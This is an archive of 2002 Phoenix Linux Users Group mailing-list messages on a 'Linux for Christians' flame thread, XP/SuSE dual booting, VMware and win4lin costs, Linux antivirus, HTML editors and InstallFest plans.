plug-discuss@lists.plug.phoenix.az.us Subject: Re: Linux for Christians It was not ment to be blanket accusation. It was directed only to the close minded ones that blame technology instead the people who are responsible. Greg Tom Achtenberg wrote: >In your last post before this one YOU talked about mixing religion and Linux causing flame wars. Now in this message YOU proceed to fire the first shot. I think the Christians on this list have been extremely patient and tolerant to this thread. Please extend them the same courtesies and not make blanket accusations like calling Christians "morons". > >-----Original Message----- >From: Greg [mailto:greg@ttiltd.com] >Sent: Tuesday, June 11, 2002 7:35 AM >To: plug-discuss@lists.plug.phoenix.az.us >Subject: Re: Linux for Christians > > >Heeeeeey....!!!! > >Put the cat down and step away from the keyboard! >haha, just joking > >Internet is evil? >Damn! sometimes I still feel like I am living in dark ages. >When do these morons realize that technology is never good or bad! >It is neutral and only what you do with it is good or bad! > >For what it's worth I could probably use some Christian distro and host >pron on it. (LOL) >How does this sound to you all? Whould that constitute blasphemy? > >Greg > > >Voltage Spike wrote: > > > >>-----BEGIN PGP SIGNED MESSAGE----- >>Hash: SHA1 >> >>On Monday 10 June 2002 22:43, Kurt Granroth wrote: >> >> >> >> >>>What *this* site is is yet another Special Interests Group with links >>>to software related to their interest. It's no different, really, >>>than an animal lover offering links to screensavers, wallpapers, pet >>>interaction programs, and the like. Or any low-budget advocacy group >>>sharing info on using Linux to advance the cause. >>> >>> >>> >>> >>Don't worry. We'd laugh at the cat lovers as well. No harm >>intended. ;-) >> >> >> >> >> >>>I actually did something a *little* similar not that long ago with my >>>own church in an attempt to get people to interact more online. I had >>>some tutorials and the like written up on how to use Linux and ogg >>>vorbis (and was getting into icecast) to allow church members spread >>>around the country and the world to still stay in touch. >>>Hmm.. although in my case, midway through my work, I was told by the >>>Church Board that I was to cease and desist any and all work I was >>>doing since the Internet was evil (no joke) and they thought people >>>should spend less time online, not more. Ah well. >>> >>> >>> >>> >>"Evil"? I think I hear the words of an individual with little >>experience. They need to keep in mind that the first amendment doesn't >>just apply to them. >> >>In the case of spending more time offline, that is certainly a common >>thread among society. However, if the religious leader of choice can >>spend a couple of hours a day talking to people, then they should >>respect my right to do the same. >> >>Your project sounds like it is dying to be placed on the PLUG website, >>though. :-) >> >>- -- >> Voltage Spike >> ,,, >> (. .) >>- --ooO-(_)-Ooo-- >>-----BEGIN PGP SIGNATURE----- >>Version: GnuPG v1.0.6 (GNU/Linux) >>Comment: For info see http://www.gnupg.org >> >>iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >>+nl5JW8PnnIFGzFr+PUmJrs= >>=xg3K >>-----END PGP SIGNATURE----- >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> >> >> >> > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:35:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 08:35:19 -0700 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> <200206102322.38624.voltage_spike@fastmail.fm> <3D060AA6.3010503@ttiltd.com> <20020610201502.GA182@crystaldragon> Message-ID: <3D0618B7.7030700@ttiltd.com> LOL, thanks. This was little trolling post. Thomas Mondoshawan Tate wrote: > /------------------\ > | PLEASE | > | DO | > | NOT | > | FEED | > | THE | > | TROLLS | > \------------------/ > | | > | | > | | @ >_\|/_____|__|______\__ > >On Tue, Jun 11, 2002 at 07:35:18AM -0700, Greg wrote: > > >>Heeeeeey....!!!! >> >>Put the cat down and step away from the keyboard! >>haha, just joking >> >>Internet is evil? >>Damn! sometimes I still feel like I am living in dark ages. >>When do these morons realize that technology is never good or bad! >>It is neutral and only what you do with it is good or bad! >> >>For what it's worth I could probably use some Christian distro and host >>pron on it. (LOL) >>How does this sound to you all? Whould that constitute blasphemy? >> >>Greg >> >> >>Voltage Spike wrote: >> >> >> >>>-----BEGIN PGP SIGNED MESSAGE----- >>>Hash: SHA1 >>> >>>On Monday 10 June 2002 22:43, Kurt Granroth wrote: >>> >>> >>> >>> >>>>What *this* site is is yet another Special Interests Group with links >>>>to software related to their interest. It's no different, really, >>>>than an animal lover offering links to screensavers, wallpapers, pet >>>>interaction programs, and the like. Or any low-budget advocacy group >>>>sharing info on using Linux to advance the cause. >>>> >>>> >>>> >>>> >>>Don't worry. We'd laugh at the cat lovers as well. No harm >>>intended. ;-) >>> >>> >>> >>> >>> >>>>I actually did something a *little* similar not that long ago with my >>>>own church in an attempt to get people to interact more online. I had >>>>some tutorials and the like written up on how to use Linux and ogg >>>>vorbis (and was getting into icecast) to allow church members spread >>>>around the country and the world to still stay in touch. >>>>Hmm.. although in my case, midway through my work, I was told by the >>>>Church Board that I was to cease and desist any and all work I was >>>>doing since the Internet was evil (no joke) and they thought people >>>>should spend less time online, not more. Ah well. >>>> >>>> >>>> >>>> >>>"Evil"? I think I hear the words of an individual with little >>>experience. They need to keep in mind that the first amendment doesn't >>>just apply to them. >>> >>>In the case of spending more time offline, that is certainly a common >>>thread among society. However, if the religious leader of choice can >>>spend a couple of hours a day talking to people, then they should >>>respect my right to do the same. >>> >>>Your project sounds like it is dying to be placed on the PLUG website, >>>though. :-) >>> >>>- -- >>> Voltage Spike >>> ,,, >>> (. .) >>>- --ooO-(_)-Ooo-- >>>-----BEGIN PGP SIGNATURE----- >>>Version: GnuPG v1.0.6 (GNU/Linux) >>>Comment: For info see http://www.gnupg.org >>> >>>iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >>>+nl5JW8PnnIFGzFr+PUmJrs= >>>=xg3K >>>-----END PGP SIGNATURE----- >>> >>>________________________________________________ >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>post to the list quickly and you use Netscape to write mail. >>> >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>> >>> >>> >>> >>> >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:41:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Tue, 11 Jun 2002 08:41:26 -0700 Subject: XP/Linux dual boot In-Reply-To: <000501c21125$040fc640$6501a8c0@ph.cox.net> References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <000501c21125$040fc640$6501a8c0@ph.cox.net> Message-ID: <200206110841.29148.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I would install XP in a fat32 partition. Don't use NTFS. As far as I know, you can't modify the fat32 partition that XP is on, or it will break it's crc consistency and it won't boot. I don't know if that means the partition table in general or not. You might try getting a copy of partition magic 7 and use that. If you don't have it, I can loan you a copy of the rescue disks. nathan Am Dienstag 11 Juni 2002 01:50 vormittags schrieb Matt: > So today I went out to Fry's and bought Windows XP, because I need Windows > for a few things. I installed XP, and all went well. I prodded it for a few > minutes, then restarted with my SuSE Linux 8.0 CD in. I just went with the > default settings it gave me. It said it was going to delete the NTFS > partition, but I'd heard Linux works well with Windows, so I assumed that > the folks at SuSE knew what they were doing. Apparently I was wrong. Linux > installed fine, but when I restarted the computer to see if all was OK, I > found out that it wasn't. Windows shows up as an option in LILO, but it > merely goes to a black screen with white text that says "Loading > Windows..." What is it that I did wrong, and what should I do after I fdisk > it all and start repeating the same process? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BhopQ7yNnsYcupwRAtp2AJsHdd5d1wyIysWAnuvpVtqRWL96CgCfbyTe 757NsbB3WVwJzPxIsWhjcpc= =8O5p -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:47:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Tue, 11 Jun 2002 08:47:11 -0700 Subject: Windows and Linux In-Reply-To: <3D05E163.2F12A01A@georgetoft.com> References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <200206102200.00787.plug@the-arcanum.org> <3D05E163.2F12A01A@georgetoft.com> Message-ID: <200206110847.11590.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Ouch! That's a little our of my price range! Am Dienstag 11 Juni 2002 04:39 vormittags schrieb George Toft: > Hi Nathan, > > The price for vmware is $299. > > George > > Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > George, > > How much did you pay for vmware? > > > > Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: > > > My experience with vmware is very positive. Issues with vmware: > > > - I cannot listen to Internet Radio at kccnfm100.com. Even with four > > > new software > > > downloads, three reboots (virtual), and 2 crashes, all I got was > > > static. - vmware does not do streaming media via USB. Want to use a > > > USB camera? Forget it. > > > - vmware with sound is usually preceeded with a loud pop. > > > - vmware does not support directx very well (if at all). > > > > > > Other than that, it lets me do my taxes, browse using IE 5.5, and gives > > > me blue screens, > > > just like the real thing. > > > > > > George > > > > > > Mike Porter wrote: > > > > Ok, this is intriguing to me. I am looking to migrate my house over > > > > to Linux, but I have some apps for which I cannot find comparable > > > > *nix substitutes. (Believe it or not, the request to move torward > > > > Linux is at my wife's request) > > > > > > > > So, those who have experienced VMware, win4lin, and the like, can you > > > > offer me your best suggestions as far as which you prefer and which > > > > flavor of Linux you believe is most solid with your choice? Also, > > > > any gotchas that you can think of would be most helpful. > > > > > > > > Also, has anyone run into problems with accessing Windows only > > > > devices using either of these options? > > > > > > > > Mike > > > > > > > > -----Original Message----- > > > > From: Derek Neighbors [mailto:derek@gnue.org] > > > > Sent: Sunday, May 26, 2002 9:36 PM > > > > To: plug-discuss@lists.plug.phoenix.az.us > > > > Cc: punkmmiv@cox.net > > > > Subject: Re: Windows and Linux > > > > > > > > On 26 May 2002 22:44:49 -0700 > > > > > > > > Matt wrote: > > > > > I know that Windows and Linux are supposed to operate pretty well > > > > > together, but the only articles I've read are about installing > > > > > Linux once Windows is already there. I'm running a pure SuSE 8.0 > > > > > box and I was wondering if it's possible to install Windows on it > > > > > while still being able to use my current install? > > > > > > > > Try win4lin. It lets you run windows as a window inside your > > > > GNU/Linux environment. Unlike VMWare and friends it is not a VM. > > > > Also, unlike WINE it actually works and works well. It will even let > > > > windows use (read/write) to your GNU/Linux file systems and such. It > > > > is not free, but neither is M$ Windows (so I assume you dont have a > > > > problem with that) and it is by far the best way to 'suffer' M$ while > > > > not having to 'leave' a real operating system. > > > > > > > > -Derek > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -----BEGIN PGP SIGNATURE----- > > Version: GnuPG v1.0.7 (GNU/Linux) > > > > iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr > > UHgqeghEeXKGOxPtBOCylhE= > > =GPfW > > -----END PGP SIGNATURE----- > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9Bht/Q7yNnsYcupwRAhNWAKChScTJATCgmuNIRvNoSCKzhbKd5QCgiJ1C UyLE5jAFRuvxRSWhfXHE6dI= =4T27 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:47:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 08:47:25 -0700 Subject: Lycoris RedmondLinux Message-ID: <1023810445.3d061b8d99ebb@webmail.freedom2surf.net> I called them this morning and left a message inviting them to be a part of the InstallFest. will let you know what response I get. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:50:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 08:50:11 -0700 Subject: Linux for Christians References: <4A8DFDA6B395D411A11B00508BEE23FE76B46C@mail.int.fh.org> Message-ID: <3D061C33.3080504@ttiltd.com> Amen to this one. I have never implied that Christians have monopoly on misconceptions. There are considerable number of other people who commit the same mistakes. Greg Tom Achtenberg wrote: >There are lots of closed minded non Christians who feel the internet is evil too. We need to educate them all. I agree, technology itself is not good or bad, it is how it is used and the users need to take personal responsibility as to how they use it within their own beliefs. > >-----Original Message----- >From: Greg [mailto:greg@ttiltd.com] >Sent: Tuesday, June 11, 2002 7:57 AM >To: plug-discuss@lists.plug.phoenix.az.us >Subject: Re: Linux for Christians > > >It was not ment to be blanket accusation. >It was directed only to the close minded ones >that blame technology instead the people >who are responsible. > > >Greg > > >Tom Achtenberg wrote: > > > >>In your last post before this one YOU talked about mixing religion and Linux causing flame wars. Now in this message YOU proceed to fire the first shot. I think the Christians on this list have been extremely patient and tolerant to this thread. Please extend them the same courtesies and not make blanket accusations like calling Christians "morons". >> >>-----Original Message----- >>From: Greg [mailto:greg@ttiltd.com] >>Sent: Tuesday, June 11, 2002 7:35 AM >>To: plug-discuss@lists.plug.phoenix.az.us >>Subject: Re: Linux for Christians >> >> >>Heeeeeey....!!!! >> >>Put the cat down and step away from the keyboard! >>haha, just joking >> >>Internet is evil? >>Damn! sometimes I still feel like I am living in dark ages. >>When do these morons realize that technology is never good or bad! >>It is neutral and only what you do with it is good or bad! >> >>For what it's worth I could probably use some Christian distro and host >>pron on it. (LOL) >>How does this sound to you all? Whould that constitute blasphemy? >> >>Greg >> >> >>Voltage Spike wrote: >> >> >> >> >> >>>-----BEGIN PGP SIGNED MESSAGE----- >>>Hash: SHA1 >>> >>>On Monday 10 June 2002 22:43, Kurt Granroth wrote: >>> >>> >>> >>> >>> >>> >>>>What *this* site is is yet another Special Interests Group with links >>>>to software related to their interest. It's no different, really, >>>>than an animal lover offering links to screensavers, wallpapers, pet >>>>interaction programs, and the like. Or any low-budget advocacy group >>>>sharing info on using Linux to advance the cause. >>>> >>>> >>>> >>>> >>>> >>>> >>>Don't worry. We'd laugh at the cat lovers as well. No harm >>>intended. ;-) >>> >>> >>> >>> >>> >>> >>> >>>>I actually did something a *little* similar not that long ago with my >>>>own church in an attempt to get people to interact more online. I had >>>>some tutorials and the like written up on how to use Linux and ogg >>>>vorbis (and was getting into icecast) to allow church members spread >>>>around the country and the world to still stay in touch. >>>>Hmm.. although in my case, midway through my work, I was told by the >>>>Church Board that I was to cease and desist any and all work I was >>>>doing since the Internet was evil (no joke) and they thought people >>>>should spend less time online, not more. Ah well. >>>> >>>> >>>> >>>> >>>> >>>> >>>"Evil"? I think I hear the words of an individual with little >>>experience. They need to keep in mind that the first amendment doesn't >>>just apply to them. >>> >>>In the case of spending more time offline, that is certainly a common >>>thread among society. However, if the religious leader of choice can >>>spend a couple of hours a day talking to people, then they should >>>respect my right to do the same. >>> >>>Your project sounds like it is dying to be placed on the PLUG website, >>>though. :-) >>> >>>- -- >>> Voltage Spike >>> ,,, >>> (. .) >>>- --ooO-(_)-Ooo-- >>>-----BEGIN PGP SIGNATURE----- >>>Version: GnuPG v1.0.6 (GNU/Linux) >>>Comment: For info see http://www.gnupg.org >>> >>>iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >>>+nl5JW8PnnIFGzFr+PUmJrs= >>>=xg3K >>>-----END PGP SIGNATURE----- >>> >>>________________________________________________ >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >>> >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>> >>> >>> >>> >>> >>> >>> >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> >> >> >> > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:57:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 11 Jun 2002 08:57:55 -0700 Subject: Cisco DoS required CBOS upgrade- Qwest complaint In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B467@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B467@mail.int.fh.org> Message-ID: <200206110857.55452.voltage_spike@fastmail.fm> On Tuesday 11 June 2002 07:14 am, Tom Achtenberg wrote: > At least it isn't cox Hey! Cox is excellent. Unless you need greater than 90% uptime. Or you need decent webmail. Or you want decent customer service. ;-) Otherwise, great speeds, great prices, and great NNTP server retention rate. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 16:05:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 11 Jun 2002 09:05:25 -0700 Subject: XP/Linux dual boot Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DCF@azmscorp01.corp.azms> Chech out this url. http://www.computing.net/linux/wwwboard/forum/8997.html It might be of some help. Larry -----Original Message----- From: Nathan England [mailto:plug@the-arcanum.org] Sent: Tuesday, June 11, 2002 8:41 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: XP/Linux dual boot -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I would install XP in a fat32 partition. Don't use NTFS. As far as I know, you can't modify the fat32 partition that XP is on, or it will break it's crc consistency and it won't boot. I don't know if that means the partition table in general or not. You might try getting a copy of partition magic 7 and use that. If you don't have it, I can loan you a copy of the rescue disks. nathan Am Dienstag 11 Juni 2002 01:50 vormittags schrieb Matt: > So today I went out to Fry's and bought Windows XP, because I need Windows > for a few things. I installed XP, and all went well. I prodded it for a few > minutes, then restarted with my SuSE Linux 8.0 CD in. I just went with the > default settings it gave me. It said it was going to delete the NTFS > partition, but I'd heard Linux works well with Windows, so I assumed that > the folks at SuSE knew what they were doing. Apparently I was wrong. Linux > installed fine, but when I restarted the computer to see if all was OK, I > found out that it wasn't. Windows shows up as an option in LILO, but it > merely goes to a black screen with white text that says "Loading > Windows..." What is it that I did wrong, and what should I do after I fdisk > it all and start repeating the same process? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BhopQ7yNnsYcupwRAtp2AJsHdd5d1wyIysWAnuvpVtqRWL96CgCfbyTe 757NsbB3WVwJzPxIsWhjcpc= =8O5p -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 16:11:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Tue, 11 Jun 2002 09:11:42 -0700 Subject: XP/Linux dual boot In-Reply-To: <000501c21125$040fc640$6501a8c0@ph.cox.net> References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <000501c21125$040fc640$6501a8c0@ph.cox.net> Message-ID: <200206110911.42188.krycom1@cox.net> On Tuesday 11 June 2002 1:50 am, Matt wrote: > So today I went out to Fry's and bought Windows XP, because I need Windows > for a few things. I installed XP, and all went well. I prodded it for a few > minutes, then restarted with my SuSE Linux 8.0 CD in. I just went with the > default settings it gave me. It said it was going to delete the NTFS > partition, but I'd heard Linux works well with Windows, so I assumed that > the folks at SuSE knew what they were doing. Apparently I was wrong. Linux > installed fine, but when I restarted the computer to see if all was OK, I > found out that it wasn't. Windows shows up as an option in LILO, but it > merely goes to a black screen with white text that says "Loading > Windows..." What is it that I did wrong, and what should I do after I fdisk > it all and start repeating the same process? Matt, I install SuSE all the time as a dual boot system and it's one of the few linux distro's that works flawless. However, I assume when you installed Windows XP you told XP to format/partition only half the drive? -- Richard L. Proctor Krystal Computer Services PC Repairs & Upgrades www.krycom.com 480-699-3098 From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 01:39:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Mon, 10 Jun 2002 18:39:08 -0700 Subject: PLUG-discuss digest, Vol 1 #2329 - 9 msgs In-Reply-To: <200206100540.g5A5e4231706@PlugList.MyButt.Net> References: <200206100540.g5A5e4231706@PlugList.MyButt.Net> Message-ID: <200206101839.08105.dan_lund@hotmail.com> I run InterCheck virus scanner on my Linux machine. It's quite nice, although I don't find many virii, if any. I haven't had one line from InterCheck in my syslog about a virus:) It scans for alot of well known virii. You can check it out at http://www.sophos.com There is a version you can download, and really has no restrictions. I think.... I haven't ran into any. -- Dan Lund > On Sun, 9 Jun 2002, Charlie Bullen wrote: > > I have been able to get Opera on Suse 7.3 to present itself to SoncWall > > as IE 5, but it still won't let me through. The solution proposed by > > sonic wall is to assign a Static ip address to my linux box and exepmt > > that ip from the anti virus requirement. This is possible to do, but I > > may have a hard time selling this idea to my employer. > > > > Is there any danger and if so how much, to running a linuxbox with no > > anti virus protection on a network that is all win98 or XP workstations? > > Many Linux servers, but this would be the first linux workstation. > > > > I've never heard of such a thing but is there antivirus software for > > linux? > > > > Regards, > > > > > > Charlie From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 01:45:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Mon, 10 Jun 2002 18:45:14 -0700 Subject: WYSIWYG editors Message-ID: <200206101845.14856.dan_lund@hotmail.com> I personally use the HTML editor that comes with Mozilla. Now, I do alot of coding by hand, forms and such, however when it comes to the proper layout of frames and tables, I really SUCK. (I'm a visual person in that respect) The reason I use the Mozilla Composer is because when it's saved, it's actually readable and able to be edited by hand! I really love that feature... and when you do something to it by hand, and bring it back into composer it doesn't twist it into a bloody mess. The only problems I have with it are trying to do Relative URLs. After editing an HTMl doc, I open it up in vi and just run: ":%s/file:\/\/\/whatever-directory-it-is-in//g" and that removes everything I don't want. Guess even though it's a 1.0, theres still a few bugs. Doesn't do forms and form elements for you though, you have to do those by hand. It will display them perfectly, and move them around. -- Dan -- quote -- Message: 1 Date: Sun, 09 Jun 2002 15:41:20 -0700 From: Greg Furmanek To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: WYSIWYG Editor Reply-To: plug-discuss@lists.plug.phoenix.az.us I have tried a lot of wysiwyg editors and I have to say that coding by hand beats it all Greg Bryce C. wrote: >Could anyone reccomend a good WYSIWYG HTML editor for linux? I really >hate having to type out table html by hand. > >Bryce C. >Network Administrator >CoBryce Communications >Bryce @ BryceCo . Net > -- end quote -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:34:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Mon, 10 Jun 2002 20:34:44 -0700 Subject: Installfest Suggestion In-Reply-To: References: Message-ID: <200206102034.44166.alandd@consultpros.com> I just recieved the shipment from SuSE today. It has about 10-12 (I didn't count) 7.2 live eval CDs. It has lots of other good stuff too! Alan On Monday 10 June 2002 08:29 pm, der.hans wrote: > Am 10. Jun, 2002 schwätzte Bryce C. so: > > This is seperate from my other question regarding the installfest. > > Has anyone considered bringing some SuSE Live Eval CDs for those who > > just want to try linux? I'd be willing to burn half a dozen copies or > > so if no one else is already planning on bringing it. I found it the > > least "stressful" of all dual boots and it takes up a minimal amount of > > HD space but the drawback is that it runs from the CD. Still this would > > allow people to dip their toe in a "user-friendly" Linux pond. > > I believe Live Eval CDs are amongst the swag we got ( are getting? ) from > SuSE. Yes, I hope we have plenty to give out. > > A few bootable business cards would be good too. I'll check on those. > > ciao, > > der.hans From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 21:06:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (sundar @esaravana) Date: Mon, 10 Jun 2002 14:06:30 -0700 Subject: Firwwire for Linux Message-ID: <3D0514D6.4070404@esaravana.com> I have to get a Firewire card for my Videocam. Do you suggest any Linux compatible cards? Sundar From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 16:15:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Tue, 11 Jun 2002 09:15:46 -0700 Subject: XP/Linux dual boot In-Reply-To: <200206110841.29148.plug@the-arcanum.org> References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <000501c21125$040fc640$6501a8c0@ph.cox.net> <200206110841.29148.plug@the-arcanum.org> Message-ID: <200206110915.46929.krycom1@cox.net> On Tuesday 11 June 2002 8:41 am, Nathan England wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > I would install XP in a fat32 partition. Don't use NTFS. > As far as I know, you can't modify the fat32 partition that XP is on, or it > will break it's crc consistency and it won't boot. > > I don't know if that means the partition table in general or not. > You might try getting a copy of partition magic 7 and use that. > If you don't have it, I can loan you a copy of the rescue disks. > > nathan I use XP and SuSE 8.0 Professional and have Win XP using NTFS on half the drive and SuSE on the other half and as a dual boot system. Works fine!! -- Richard L. Proctor Krystal Computer Services PC Repairs & Upgrades www.krycom.com 480-699-3098 From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:57:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Tue, 11 Jun 2002 10:57:09 -0400 (EDT) Subject: Niche Linux Distros In-Reply-To: <3D060829.8090904@ttiltd.com> Message-ID: One of the great strengths of Linux for us geeks is that it's easy to find the right distro. Want stability? use Debian or Slackware. Easy to install on the desktop? SuSE or Mandrake. Lots of industry support? RedHat. 